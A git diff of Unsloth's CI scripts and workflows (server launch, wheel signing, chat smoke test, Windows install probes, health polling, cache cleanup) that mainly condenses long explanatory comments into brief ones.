[ -n "$EXTRA" ] && CMD+=($EXTRA)
echo "[serve] launching: ${CMD[*]}"
echo "[serve] server log: $SERVER_LOG"
-# Run detached, no controlling TTY (setsid avoids any TTY-prompt hang and
-# detaches from this step's process group so the job's teardown is clean).
setsid "${CMD[@]}" > "$SERVER_LOG" 2>&1 < /dev/null &
SERVER_PID=$!
emit UNSLOTH_SERVER_PID "$SERVER_PID"
@@ -134,17 +107,11 @@ done
echo "[serve] /api/health healthy"
# ── parse the API key from the banner ────────────────────────────────────
-# Match both the non-silent " API Key: <key>" and silent "API Key: <key>"
-# forms. We do NOT trust a fixed column count; we take the sk-unsloth-* token.
-# The banner is printed once the model has LOADED, which /api/health does not
-# wait for. That usually takes about 10s, but a 4.8 GB GGUF on a busy CPU
-# runner has taken over 30s, so wait on the load itself: until the key is
-# printed, the server exits, or --banner-timeout runs out.
+# The key prints only after the model loads, which /api/health does not wait for.
API_KEY=""
for _ in $(seq 1 "$BANNER_TIMEOUT"); do
API_KEY="$(grep -aoE 'sk-unsloth-[A-Za-z0-9_-]+' "$SERVER_LOG" 2>/dev/null | head -1 || true)"
[ -n "$API_KEY" ] && break
- # The label is out but carries no sk-unsloth- token: the fallback below reads it.
grep -aq 'API Key:' "$SERVER_LOG" 2>/dev/null && break
if ! kill -0 "$SERVER_PID" 2>/dev/null; then
server_fail "process exited before printing its banner (the model load failed)"
@@ -155,8 +122,6 @@ if [ -z "$API_KEY" ] && ! grep -aq 'API Key:' "$SERVER_LOG" 2>/dev/null; then
server_fail "no banner within ${BANNER_TIMEOUT}s of /api/health: the model is still loading"
fi
if [ -z "$API_KEY" ]; then
- # Fallback: take whatever follows an "API Key:" label, in case the key
- # prefix scheme changes. Still a parse-fragility guard, not silent.
API_KEY="$(grep -aE 'API Key:' "$SERVER_LOG" 2>/dev/null \
| sed -E 's/.*API Key:[[:space:]]*//' | head -1 || true)"
fi
diff --git a/.github/scripts/sign_wheel_binaries.py b/.github/scripts/sign_wheel_binaries.py
index 26378f18681..6804932692d 100644
--- a/.github/scripts/sign_wheel_binaries.py
+++ b/.github/scripts/sign_wheel_binaries.py
@@ -37,9 +37,8 @@ import tempfile
import zipfile
from pathlib import Path
-#: IMAGE_FILE_MACHINE_ARM64. The wheels this signs are win_arm64.
MACHINE_ARM64 = 0xAA64
-#: Data directory index 4 is the Certificate Table -- a non-zero size means "already signed".
+# A non-zero Certificate Table size means already signed.
CERTIFICATE_TABLE_INDEX = 4
@@ -77,7 +76,7 @@ def is_signed(blob: bytes) -> bool:
if magic_at + 2 > len(blob):
return False
magic = struct.unpack_from("<H", blob, magic_at)[0]
- # PE32+ has 8 more bytes of fixed fields before the data directory than PE32 does.
+ # PE32+ has 8 more bytes of fixed fields before the data directory than PE32.
directory_at = magic_at + (112 if magic == 0x20B else 96) + CERTIFICATE_TABLE_INDEX * 8
if directory_at + 8 > len(blob):
return False
@@ -132,8 +131,7 @@ def sign_wheel(
if is_signed(blob):
skipped.append(name)
continue
- # Signed on disk under its own name: signtool and trusted-signing-cli both work
- # in place, and the suffix decides which subject interface package is used.
+ # The file suffix decides which subject interface package the signer uses.
staged = work / Path(name).name
staged.write_bytes(blob)
sign_file(staged, signer)
@@ -151,8 +149,6 @@ def sign_wheel(
if record_name is None:
raise SystemExit(f"{wheel.name}: no .dist-info/RECORD")
- # Member order preserved: the installer does not care, but a diff between the signed
- # and unsigned wheel should show the signatures and nothing else.
with zipfile.ZipFile(destination, "w", zipfile.ZIP_DEFLATED) as out:
lines = []
for name in names:
diff --git a/.github/scripts/studio_smoke/multi_turn_chat.py b/.github/scripts/studio_smoke/multi_turn_chat.py
index 0682ab3e668..14a48d5bb5b 100644
--- a/.github/scripts/studio_smoke/multi_turn_chat.py
+++ b/.github/scripts/studio_smoke/multi_turn_chat.py
@@ -34,9 +34,7 @@ import urllib.request
SEED = 3407
MAX_TOKENS = 80
-# How many times the two-replay comparison may be re-run before a disagreement is called a real fault. See main():
-# the retry lives there, NOT in check(), so check()'s contract is unchanged and a divergence handed to it is still a
-# hard failure every time.
+# Retries live in main(), not check(), so a divergence handed to check() always fails.
ATTEMPTS = 3
@@ -49,12 +47,8 @@ class Nondeterministic(AssertionError):
"""
-# Turn 2 cannot be answered without turn 1, and turn 4 without turn 3, so a server that drops history fails here rather
-# than returning something plausible.
-# Turn 2 asks for the ANSWER, not the question: gemma-3-270m-it answers "What did I ask before?" with "I am doing
-# well! How can I help you today?" whether or not the history is attached, so that phrasing probes nothing.
-# 58+27 rather than 1+1 so the answer cannot be guessed: deriving the expected value from turn 1 is only worth
-# anything if turn 1 is unpredictable.
+# Later turns depend on earlier ones, so dropped history fails here.
+# Turn 2 asks for the answer, since the model answers "What did I ask?" the same either way.
PROMPTS = [
"What is 58+27?",
"What was the answer to my previous question?",
@@ -67,7 +61,7 @@ def _server() -> tuple[str, str]:
"""Where to talk and what to send. The only thing that differs per caller: each
workflow boots its server on its own port. Read here rather than at import, so the
checking half of this file can be exercised without a server or the SDKs."""
- return os.environ["BASE_URL"], os.environ["TOKEN"] # a JWT is accepted as Bearer
+ return os.environ["BASE_URL"], os.environ["TOKEN"]
def _read_backend_status() -> dict:
@@ -154,11 +148,8 @@ def run_anthropic() -> list[str]:
from anthropic import Anthropic
BASE, KEY = _server()
- # Two SDK quirks against Unsloth:
- # 1. base_url must NOT include /v1 -- the SDK appends /v1/messages itself, and a base_url that already has it
- # hits /v1/v1/messages and 405s.
- # 2. The SDK sends x-api-key by default, but Unsloth's auth layer is HTTPBearer only, so Authorization has to be
- # set through default_headers instead.
+ # base_url must not include /v1 (the SDK appends it), and auth must go via default_headers
+ # because Unsloth only accepts Bearer, not x-api-key.
client = Anthropic(
base_url = BASE,
api_key = "unused",
@@ -184,12 +175,9 @@ def run_anthropic() -> list[str]:
def check(label: str, first: list[str], second: list[str]) -> None:
for i, (a, b) in enumerate(zip(first, second), start = 1):
print(f"[{label} turn {i}] {a!r}")
- # BOTH runs, not just the first.
assert a, f"{label}: empty turn {i} response in the first run"
assert b, f"{label}: empty turn {i} response in the second run"
- # Compared stripped: llama-server varies trailing whitespace (a final newline) between otherwise identical
- # greedy runs, depending on the batch-flush boundary at which the stream is closed. The generated tokens are the
- # same; only that whitespace differs. The raw repr stays in the message so a real divergence is still legible.
+ # Stripped: llama-server varies trailing whitespace between identical greedy runs.
if a.strip() != b.strip():
raise Nondeterministic(
f"{label} non-deterministic at turn {i} with temperature=0.0:\n"
@@ -198,15 +186,7 @@ def check(label: str, first: list[str], second: list[str]) -> None:
numbers = re.findall(r"\d+", first[0])
assert numbers, f"{label}: turn-1 answer should contain a number, got {first[0]!r}"
- # History grounding is asserted on the LAST turn, per turn. "Repeat the city name" names no city, so 'Paris' can
- # only have come from turn 3, and a server that kept only the latest turn answers "Okay, I'm ready." -- measured
- # against llama-server b10360 on the UD-Q4_K_XL file the workflow loads.
- # #10009 asserted this on turn 2 instead, requiring the reply to restate turn 1's number, and that is a false
- # failure on macOS: in the same run that turn 2 came back "You haven't provided the previous question.", turn 4
- # answered "The capital of France is Paris.", which is only possible with history attached. Whether a 270M model
- # phrases a recalled number is a property of the model, not of the server's history wiring, so it cannot carry
- # this assertion. #10009's actual finding -- that looking for 'paris' in the JOINED transcript proves nothing,
- # because turn 3 supplies it on its own -- is what the per-turn check below keeps.
+ # History is asserted on the last turn: whether a 270M model restates a number is not a server property.
assert len(first) == len(PROMPTS), f"{label}: expected {len(PROMPTS)} replies, got {len(first)}"
assert "paris" in first[-1].lower(), (
f"{label}: the last turn must name the city from turn 3, so history reached the "
@@ -216,17 +196,10 @@ def check(label: str, first: list[str], second: list[str]) -> None:
def main() -> int:
- # Before any generation: a divergence below is only evidence of a fault if the
- # server was in a configuration that could have avoided one.
assert_reproducible_backend()
for label, runner in (("openai", run_openai), ("anthropic", run_anthropic)):
- # Only a replay disagreement is retried, and only here. Two replays are not two identical requests: each turn
- # is built from the reply before it, and the second replay meets the server holding cache and slot state the
- # first one left behind, so a token the model is near-tied on can land differently without decoding being
- # broken. A server that is actually non-deterministic disagrees on every attempt and still fails.
- # Deliberately NOT done by softening check(): #5669 turned this assertion into a printed warning on the Linux
- # leg and it went unnoticed for three months, so every divergence handed to check() is still a hard failure,
- # and every other fault -- an empty reply, history not reaching the model -- fails on the first attempt.
+ # Only replay disagreement is retried: the second replay meets different cache and slot state.
+ # Do not soften check(); a softened warning once went unnoticed for months.
for attempt in range(1, ATTEMPTS + 1):
try:
check(label, runner(), runner())
diff --git a/.github/scripts/virgin-windows-install.ps1 b/.github/scripts/virgin-windows-install.ps1
index 4c641956091..a4fd352af0a 100644
--- a/.github/scripts/virgin-windows-install.ps1
+++ b/.github/scripts/virgin-windows-install.ps1
@@ -1,9 +1,7 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-# Runs INSIDE a Windows container once virgin-windows-probe.ps1 has proved there is no
-# toolchain: install.ps1 as a user on a bare Windows box runs it, then the same
-# assertions the hosted Windows leg makes.
+# Runs inside a Windows container after virgin-windows-probe.ps1: install.ps1 then the hosted leg's assertions.
[CmdletBinding()]
param(
@@ -19,15 +17,12 @@ function Section($t) { Write-Host ""; Write-Host "=== $t ===" }
# ── Environment the installer needs to be non-interactive ─────────────────────
Section 'install environment'
-# install.ps1:2885-2888 prompts `Start Unsloth Studio now? [Y/n]` when UserInteractive is
-# true and stdin is not redirected -- both hold under `docker exec` -- so without this the
-# installer blocks forever on Read-Host and the job dies on timeout with no diagnosis.
+# Without this install.ps1 blocks forever on its autostart Read-Host under `docker exec`.
$env:UNSLOTH_SKIP_AUTOSTART = '1'
-# install.ps1:254/258 joins $env:USERPROFILE with no null guard; an explicit root also
-# keeps the container's state in one directory.
+# install.ps1 joins $env:USERPROFILE with no null guard.
$env:UNSLOTH_STUDIO_HOME = 'C:\studio-home'
$env:UNSLOTH_STUDIO_DISABLE_PUBLIC_CHECK = '1'
-# Without this uv's output is discarded on success and nobuild can only report "none".
+# Without this uv's output is discarded and nobuild can only report "none".
$env:UNSLOTH_VERBOSE = '1'
if ($Overlay) {
$env:UNSLOTH_CI_SOURCE_OVERLAY = $Overlay
@@ -40,9 +35,7 @@ foreach ($v in 'UNSLOTH_STUDIO_HOME', 'UNSLOTH_SKIP_AUTOSTART', 'UNSLOTH_VERBOSE
Write-Host (" {0,-32} {1}" -f $v, [System.Environment]::GetEnvironmentVariable($v))
}
-# Deliberately NOT setting [Net.ServicePointManager]::SecurityProtocol: install.ps1 does
-# not either, so setting it here would hide a real installer bug. The probe already
-# reported whether the default negotiates TLS 1.2.
+# SecurityProtocol is deliberately not set: install.ps1 does not set it either.
# ── Run the installer exactly as the desktop launches it ──────────────────────
Section 'install'
@@ -53,8 +46,7 @@ if (-not (Test-Path -LiteralPath $Installer)) {
Write-Host "installer: $Installer ($((Get-Content -LiteralPath $Installer).Count) lines)"
$sw = [System.Diagnostics.Stopwatch]::StartNew()
-# A child powershell.exe, not dot-sourcing: the shape install.rs:325-339 uses, and it
-# yields a real process exit code rather than the last statement's value.
+# A child powershell.exe like install.rs uses, for a real process exit code.
& powershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass `
-File $Installer *>&1 | Tee-Object -FilePath $LogPath
$rc = $LASTEXITCODE
@@ -71,7 +63,6 @@ Section 'assert: the install produced something usable'
if ($rc -ne 0) {
$failures += "installer exited $rc"
} else {
- # As the Linux leg: an installer that exits 0 having done nothing must not pass.
if (-not (Test-Path -LiteralPath $venvPy)) {
$failures += "installer exited 0 but left no managed Python at $venvPy"
Get-ChildItem -Path $env:UNSLOTH_STUDIO_HOME -ErrorAction SilentlyContinue | Format-Table | Out-String | Write-Host
@@ -82,9 +73,7 @@ if ($rc -ne 0) {
foreach ($cli in (Join-Path $venv 'Scripts\unsloth.exe'), (Join-Path $env:UNSLOTH_STUDIO_HOME 'bin\unsloth.exe')) {
if (Test-Path -LiteralPath $cli) {
Write-Host "unsloth CLI: $cli"
- # Present is not runnable: the console script imports the whole command
- # tree, so a dependency missing under --no-deps surfaces here and nowhere
- # else. This is the assertion the hosted Windows leg already makes.
+ # The console script imports the whole command tree, so missing deps surface here.
& $cli --version
if ($LASTEXITCODE -ne 0) {
$failures += "unsloth CLI at $cli is on disk but does not run (exit $LASTEXITCODE)"
@@ -92,19 +81,14 @@ if ($rc -ne 0) {
}
else { $failures += "installer exited 0 but left no unsloth CLI at $cli" }
}
- # issue #8490: the generated .exe launchers above are unsigned, so Application
- # Control can deny them. The .cmd shim runs the managed interpreter instead and
- # is the escape hatch a locked-down machine has, so its absence is a failure.
+ # The .cmd shim is the fallback when Application Control blocks the unsigned .exe launchers.
$cmdShim = Join-Path $env:UNSLOTH_STUDIO_HOME 'bin\unsloth.cmd'
if (Test-Path -LiteralPath $cmdShim) { Write-Host "unsloth CLI shim: $cmdShim" }
else { $failures += "installer exited 0 but left no policy-safe CLI shim at $cmdShim" }
}
Section 'assert: torch imports'
-# On the hosted runner this proves less than it looks: the image ships the VC++ runtime
-# in System32, so Test-VCRedistInstalled (setup.ps1:875) short-circuits before it needs
-# winget. This container is the first place that is not true, so a failure here is a
-# genuine finding about bare Windows.
+# The hosted image ships the VC++ runtime; this container is the first real test without it.
if (Test-Path -LiteralPath $venvPy) {
foreach ($dll in 'vcruntime140.dll', 'vcruntime140_1.dll', 'msvcp140.dll') {
$p = Join-Path $env:WINDIR "System32\$dll"
@@ -122,8 +106,7 @@ if (Test-Path -LiteralPath $venvPy) {
Section "assert: the installer took the no-winget path"
if (Test-Path -LiteralPath $LogPath) {
- # install.ps1:1098, the no-winget branch. A container has no Store and so no App
- # Installer, which puts the python.org + astral.sh fallback under test.
+ # The no-winget branch: containers have no App Installer.
$noWinget = 'will require Python + uv to be already installed'
if (Select-String -Path $LogPath -Pattern $noWinget -SimpleMatch -Quiet) {
Write-Host "confirmed: installer reported winget as unavailable and used the fallback path"
@@ -142,8 +125,6 @@ if ($Overlay -and $rc -eq 0) {
}
Section 'assert: no non-allowlisted source build'
-# Shared with the hosted Windows legs so the sdist allowlist lives in one place; it
-# prints its own diagnosis, so only the verdict is folded in.
$nobuild = Join-Path $PSScriptRoot 'assert-nobuild.ps1'
if (-not (Test-Path -LiteralPath $nobuild)) {
$failures += "assert-nobuild.ps1 is missing next to this script, so the no-build contract went unchecked"
diff --git a/.github/scripts/virgin-windows-probe.ps1 b/.github/scripts/virgin-windows-probe.ps1
index a850f91f5e3..1ce1adf4093 100644
--- a/.github/scripts/virgin-windows-probe.ps1
+++ b/.github/scripts/virgin-windows-probe.ps1
@@ -1,11 +1,7 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-# Runs INSIDE a Windows container, proving it is genuinely virgin BEFORE anything is
-# installed. That is the whole point of the container lane: the hosted Windows legs of
-# clean-machine-install-ci.yml only SIMULATE absence (rename the toolcache Python, scrub
-# the registry PATH), while this asserts real absence on an image that never had a
-# toolchain. Without it the lane proves nothing the masked legs already do.
+# Runs inside a Windows container and asserts it is genuinely virgin before anything is installed.
$ErrorActionPreference = 'Continue'
$failures = @()
@@ -13,8 +9,7 @@ $failures = @()
function Section($t) { Write-Host ""; Write-Host "=== $t ===" }
# ── The interpreter itself ────────────────────────────────────────────────────
-# install.ps1 must run under Windows PowerShell 5.1, what a real Windows box ships; pwsh
-# 7 is a runner-image extra. nanoserver has neither, hence servercore.
+# install.ps1 must run under Windows PowerShell 5.1; nanoserver lacks it, hence servercore.
Section 'interpreter'
Write-Host "PSVersion : $($PSVersionTable.PSVersion)"
Write-Host "PSEdition : $($PSVersionTable.PSEdition)"
@@ -41,17 +36,14 @@ Write-Host "USERPROFILE : $env:USERPROFILE"
Write-Host "LOCALAPPDATA : $env:LOCALAPPDATA"
Write-Host "PROCESSOR_ARCH : $env:PROCESSOR_ARCHITECTURE"
-# install.ps1:254/258 joins $env:USERPROFILE with no null guard, so an unset USERPROFILE
-# aborts under ErrorActionPreference=Stop. The lane sets UNSLOTH_STUDIO_HOME; record
-# whether a bare container would have survived without it.
+# install.ps1 joins $env:USERPROFILE with no null guard; record whether it is set.
if ([string]::IsNullOrWhiteSpace($env:USERPROFILE)) {
Write-Host "::warning::USERPROFILE is unset in this container; install.ps1's default install root would abort"
}
# ── The assertion the whole lane exists for ───────────────────────────────────
Section 'virginity: developer toolchain must be ABSENT'
-# uv is on the list because install.ps1 would reuse a preinstalled one and skip its own
-# bootstrap.
+# uv is listed because install.ps1 would reuse a preinstalled one and skip its bootstrap.
$mustBeAbsent = @('python', 'python3', 'py', 'git', 'cmake', 'cl', 'winget', 'uv')
foreach ($t in $mustBeAbsent) {
$c = Get-Command $t -ErrorAction SilentlyContinue
@@ -61,24 +53,20 @@ foreach ($t in $mustBeAbsent) {
}
Section 'informational: present but not a developer toolchain'
-# OS components, not a toolchain. curl.exe and tar.exe ship in System32 and are the only
-# transport into a container with no git; naming them beats silently relying on them.
+# OS components, not a toolchain; curl.exe and tar.exe are the only transport in.
foreach ($t in 'cmd', 'powershell', 'curl', 'tar', 'certutil', 'msiexec', 'reg', 'where', 'pwsh', 'node', 'npm', 'msbuild', 'dotnet', 'gcc') {
$c = Get-Command $t -ErrorAction SilentlyContinue
Write-Host (" {0,-10} {1}" -f $t, $(if ($c) { $c.Source } else { 'ABSENT' }))
}
Section 'virginity: no toolchain on disk either'
-# A binary can be off PATH and still be found by uv's discovery or py.exe's registry
-# view -- how the hosted leg once reported `python ABSENT` then installed with the
-# runner's 3.13.14. So check disk and registry too.
+# uv discovery and the py.exe registry view find binaries off PATH, so check disk and registry.
$badPaths = @(
'C:\Python27', 'C:\Python3*', 'C:\Program Files\Python*', 'C:\Program Files (x86)\Python*',
'C:\Program Files\Git', 'C:\Program Files\CMake', 'C:\Program Files\Microsoft Visual Studio',
'C:\Program Files (x86)\Microsoft Visual Studio', 'C:\hostedtoolcache', 'C:\ProgramData\chocolatey'
)
foreach ($p in $badPaths) {
- # Wildcards can match several dirs; take the first so the message names a real path.
$hit = @(Get-Item -Path $p -ErrorAction SilentlyContinue) | Select-Object -First 1
if ($hit) {
Write-Host " PRESENT $($hit.FullName)"
@@ -107,11 +95,7 @@ foreach ($scope in 'Machine', 'User') {
# ── The VC++ runtime question the hosted leg cannot answer ────────────────────
Section 'VC++ runtime (honest measurement)'
-# The hosted image ships the VC++ 2015-2022 runtime in System32 and cannot lose it
-# without breaking the runner (see the HONESTY NOTE in clean-machine-install-ci.yml), so
-# `import torch` succeeding there does not prove a no-winget machine has it. This
-# container is the only place in CI that can answer, so absence is ASSERTED, not
-# recorded: a base image that starts shipping them would silently make this a masked leg.
+# Hosted images always ship the VC++ runtime, so only this container can prove absence: assert it.
foreach ($dll in 'vcruntime140.dll', 'vcruntime140_1.dll', 'msvcp140.dll') {
$p = Join-Path $env:WINDIR "System32\$dll"
$present = Test-Path $p
@@ -126,9 +110,7 @@ foreach ($k in 'HKLM:\SOFTWARE\Microsoft\VisualStudio\14.0\VC\Runtimes\x64',
# ── Can the installer's transport work at all here? ───────────────────────────
Section 'outbound HTTPS and TLS'
-# install.ps1 never sets [Net.ServicePointManager]::SecurityProtocol, so it inherits the
-# .NET Framework default. Test that first: default failing where Tls12 works is a real
-# installer portability bug, not a container quirk.
+# install.ps1 inherits the default SecurityProtocol, so test the default before forcing Tls12.
Write-Host "default SecurityProtocol: $([Net.ServicePointManager]::SecurityProtocol)"
$probeUrls = @(
'https://www.python.org/ftp/python/',
diff --git a/.github/scripts/wait-for-health.sh b/.github/scripts/wait-for-health.sh
index e0b7d13fb5b..3d9511b33da 100755
--- a/.github/scripts/wait-for-health.sh
+++ b/.github/scripts/wait-for-health.sh
@@ -1,43 +1,14 @@
#!/usr/bin/env bash
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-# Poll a booted Unsloth's /api/health until it reports healthy, and on timeout
-# print the tail of that server's log before failing.
+# Poll a booted Unsloth's /api/health until healthy; on timeout print the server log tail.
# Usage:
# wait-for-health.sh --port 18888 [--log logs/studio.log] [--tmp /tmp/health.json]
-# Fourteen steps across eight workflows ran this same poll, in two dialects that
-# disagreed about what a failure looks like. This is the union of the two, taking
-# the better half of each:
-# * Retry on ANY not-yet-healthy answer, not just on a refused connection. The
-# "exit-0" dialect ran `jq -e` as a bare command under `bash -e`, so a server
-# that answered the very first poll with `status != "healthy"` failed the step
-# on the spot instead of giving the model loader the remaining seconds. The
-# other eleven copies already retried; now all fourteen do.
-# * Tail the log when the deadline passes. Eleven copies ended on a bare
-# `jq -e '.status == "healthy"'`, whose entire output on failure is a non-zero
-# exit code -- no message, and nothing about why the server never came up. The
-# log tail is the only place that says.
-# Parameters, and why each one is a parameter:
-# * --port differs per call site; several workflows run two or three servers in
-# one job on different ports.
-# * --log is whichever log the matching boot-studio-api-only.sh call was told
-# to write. Five distinct names are in use, and tailing the wrong one
-# on failure is worse than tailing none.
-# * --tmp is where the last poll's response body is left for later steps and
-# for a human reading the runner. Five distinct names are in use so
-# that a later phase in the same job does not overwrite the evidence
-# an earlier phase left behind.
-# The deadline is fixed at 180s because all fourteen converted call sites used
-# 180. The three "boot briefly to confirm the install is still usable" steps poll
-# for 60s, but they also boot and kill the server in the same shell and keep the
-# pid in a local variable, so they are not call sites for this and no --timeout
-# flag exists yet to serve them.
+# Retries on any not-yet-healthy answer, not only on a refused connection.
set -uo pipefail
-# Every converted call site polled for 180s, and studio-ui-smoke.yml carried the
-# reason: a cold runner with venv warm-up plus lazy imports has been seen to
-# exceed 60s, and failing the wait costs more than waiting two more minutes.
+# Cold runners with venv warm-up and lazy imports can exceed 60s.
TIMEOUT_SECONDS=180
PORT=""
@@ -55,18 +26,8 @@ done
[ -n "$PORT" ] || { echo "wait-for-health.sh: --port is required" >&2; exit 2; }
-# Two halves of one bound, and neither works without the other.
-# --max-time, because curl sets no maximum transfer time by default and
-# --connect-timeout stops helping the moment the handshake completes. An Unsloth
-# that binds the port and then wedges its event loop -- the shape of a wedged
-# server on a 4 vCPU runner with four of them on it -- parks the FIRST
-# iteration forever, and an iteration count is not a deadline if an iteration
-# can be infinite.
-# A real deadline, because once each probe can cost up to --max-time, counting
-# iterations turns "180s" into up to 180 x 6s = 18 minutes: a bound far looser
-# than the one this file advertises, and looser than the lane budget that
-# contains it. $SECONDS is the elapsed wall of this shell, so the wait is now
-# TIMEOUT_SECONDS of real time no matter what each probe costs.
+# Use a wall-clock deadline plus curl --max-time: a wedged server can hang a probe forever,
+# and counting iterations would stretch 180s to minutes once each probe can take --max-time.
deadline=$(( SECONDS + TIMEOUT_SECONDS ))
while [ "$SECONDS" -lt "$deadline" ]; do
if curl -fs --connect-timeout 3 --max-time 5 \
diff --git a/.github/workflows/cache-janitor.yml b/.github/workflows/cache-janitor.yml
index 4880fd00433..42294cd944a 100644
--- a/.github/workflows/cache-janitor.yml
+++ b/.github/workflows/cache-janitor.yml
@@ -104,8 +104,7 @@ name: Cache janitor
on:
schedule:
- # Every two hours. The sweep is API-only and finishes in seconds; a daily
- # cadence let CodeQL's per-push overlay bases pile up 10+ GB between runs.
+ # Every two hours, since a daily cadence let the CodeQL per-push overlay bases pile up 10+ GB.
- cron: '17 */2 * * *'
workflow_dispatch:
inputs:
@@ -123,7 +122,7 @@ on:
type: string
default: '3'
-# Two sweeps would race on the same ids and spend their DELETEs on 404s.
+# Two sweeps would race on the same ids.
concurrency:
group: cache-janitor-${{ github.repository }}
cancel-in-progress: false
@@ -150,8 +149,7 @@ jobs:
continue-on-error: true # housekeeping must never page anyone
env:
GH_TOKEN: ${{ github.token }}
- # Opt-in string, not a boolean: GitHub coerces an absent input and
- # `false` alike, so `inputs.mode == false` is true when unset.
+ # Opt-in string, not a boolean: an absent input compares equal to false.
DELETE: ${{ (github.event_name == 'schedule' || inputs.mode == 'delete') && 'yes' || 'no' }}
KEEP: ${{ inputs.keep || '2' }}
OPEN_PR_IDLE_DAYS: ${{ inputs.open_pr_idle_days || '3' }}
@@ -162,14 +160,9 @@ jobs:
live="$RUNNER_TEMP/live.tsv"
grouped="$RUNNER_TEMP/grouped.tsv"
- # Whitelist 1..99. Anything `[ n -le KEEP ]` cannot compare exits 2,
- # and since that test is the left operand of `&&` set -e does not
- # fire: the `continue` is skipped and every generation gets deleted,
- # exit 0. All-digit is not enough, since a value past bash's integer
- # range fails the same way.
+ # Whitelist 1..99: a non-numeric KEEP makes the test below fail silently and delete every generation.
case "$KEEP" in [1-9]|[1-9][0-9]) ;; *) echo "::warning::invalid keep=$KEEP, using 2"; KEEP=2 ;; esac
- # Same whitelist, same reason: an unusable value must not silently
- # become a cutoff of 0, which would treat every cache as idle.
+ # Same whitelist: a bad value must not become a cutoff of 0 that treats every cache as idle.
case "$OPEN_PR_IDLE_DAYS" in
[1-9]|[1-9][0-9]) ;;
*) echo "::warning::invalid open_pr_idle_days=$OPEN_PR_IDLE_DAYS, using 3"; OPEN_PR_IDLE_DAYS=3 ;;
@@ -178,21 +171,8 @@ jobs:
gib() { awk -v b="${1:-0}" 'BEGIN { printf "%.1f", b / 1073741824 }'; }
- # True when the cache has not been read since the cutoff, having
- # re-read the timestamp immediately before acting on it.
- #
- # The inventory is minutes old by the time the loop reaches an entry,
- # and a run that restored it in between resets the clock. Deciding on
- # the stale copy would delete a cache that is back in use, and the
- # whole point of this rule is that a read means a reader. An
- # unparseable or missing timestamp is always a keep -- same direction
- # as the PR lookup below, where an error must never free anything.
- #
- # The re-check runs in report mode too, even though it deletes
- # nothing. Report mode exists to predict what delete mode will do, and
- # the documented way to adopt a change here is to read the report
- # first; a preview that lists candidates the real sweep would spare
- # sends someone looking for bytes that were never going to be freed.
+ # Re-reads last_accessed_at right before acting, since a run may have restored it since the
+ # inventory. A missing or unparseable timestamp always keeps the cache. Runs in report mode too.
idle_since() {
local id="$1" accessed="$2" ref="$3" key="$4" cutoff="$5" seen
seen=$(date -u -d "$accessed" +%s 2>/dev/null || true)
@@ -209,9 +189,7 @@ jobs:
return 0
}
- # Report a failed inventory. Deleting nothing is the safe direction,
- # but silence means a broken janitor looks identical to a clean repo
- # and nothing notices until the ceiling does.
+ # Fail loudly on a broken inventory so the janitor cannot look like a clean repo.
if ! gh api --paginate "repos/$repo/actions/caches?per_page=100" \
-q '.actions_caches[] | [.id, .created_at, .size_in_bytes, .ref, .version, .key, .last_accessed_at] | @tsv' \
> "$all"; then
@@ -225,16 +203,12 @@ jobs:
freed=0; deleted=0; stale_pr=0; idle_open_pr=0; dead=0
- # Pass 1: caches belonging to a PR that is no longer open. Unreachable
- # regardless of generation, so this runs before ranking and removes
- # them from it -- otherwise a merged PR's entries occupy the keep slots
- # of their own (ref, version, prefix) group and shield each other.
+ # Pass 1 runs before ranking so a closed PR's entries do not occupy keep slots and shield each other.
declare -A prstate=()
: > "$live"
while IFS=$'\t' read -r id created size ref ver key accessed; do
[ -z "${id:-}" ] && continue
- # Pass 0: dead families (see the header). No reader exists on any
- # ref, so neither PR state nor generation matters.
+ # Pass 0: dead families with no reader on any ref.
case "$key" in
buildkit-blob-*|buildkit-index-*|index-*)
echo "dead family ($(gib "$size") GiB): $key"
@@ -254,17 +228,12 @@ jobs:
esac
if [ -n "$num" ]; then
case "$num" in
- ''|*[!0-9]*) num="" ;; # not a PR number; fall through to ranking
+ ''|*[!0-9]*) num="" ;;
esac
fi
if [ -n "$num" ]; then
if [ -z "${prstate[$num]:-}" ]; then
- # An error must not read as "closed". Anything that is not a
- # state we recognise becomes `unknown`, which neither pass-1 rule
- # matches, so a rate limit or a transient 5xx keeps the cache
- # instead of freeing it. Previously this defaulted to `open`,
- # which was the same outcome when `open` only ever meant keep;
- # now that an open PR can also be pruned, the two have to differ.
+ # An API error must map to unknown, never closed, so a transient failure keeps the cache.
state=$(gh api "repos/$repo/pulls/$num" -q '.state' < /dev/null 2>/dev/null || true)
case "$state" in open|closed) ;; *) state=unknown ;; esac
prstate[$num]=$state
@@ -280,18 +249,7 @@ jobs:
fi
continue
fi
- # An OPEN PR whose cache nothing has read. PR state is not a
- # liveness signal: lookup is scoped by ref, so only this PR's own
- # runs can restore this entry, and if none of them has in
- # OPEN_PR_IDLE_DAYS then it is holding budget for a reader that
- # does not exist. Dependabot is the usual shape, since those PRs
- # sit open for weeks or months in both repos, but the rule is
- # deliberately by age and not by author: a stale human PR costs
- # exactly the same, and a bot PR re-run this morning is live.
- #
- # This only brings the reclaim forward. GitHub already evicts an
- # entry unread for 7 days; the budget is what cannot wait, since a
- # week of overlap times every ref that ran exceeds it.
+ # Open PR caches are only readable by that PR's runs, so an unread one is pruned by age.
if [ "${prstate[$num]}" = "open" ] \
&& idle_since "$id" "$accessed" "$ref" "$key" "$open_pr_cutoff"; then
echo "idle open PR #$num ($(gib "$size") GiB, last read $accessed): $key"
@@ -308,7 +266,6 @@ jobs:
printf '%s\t%s\t%s\t%s\t%s\t%s\t%s\n' "$id" "$created" "$size" "$ref" "$ver" "$key" "$accessed" >> "$live"
done < "$all"
- # Pass 2: rank the survivors by generation within each family.
: > "$grouped"
while IFS=$'\t' read -r id created size ref ver key accessed; do
[ -z "${id:-}" ] && continue
@@ -343,14 +300,9 @@ jobs:
case "$key" in fe-dist-*) ;; *) fkeep=1 ;; esac ;;
*) continue ;;
esac
- # Unshortened means the suffix did not match, which would make
- # generation 1 look like generation N. Skip rather than guess.
+ # Suffix did not match; skip rather than misrank.
[ "$pre" = "$key" ] && continue
- # Group per (ref, version), not per key. Lookup is scoped by all
- # three: a branch cannot restore a sibling's cache, and a path or
- # compression change mints a new version that is restored
- # independently. Ranking them together lets two entries from one
- # scope evict every usable entry of another.
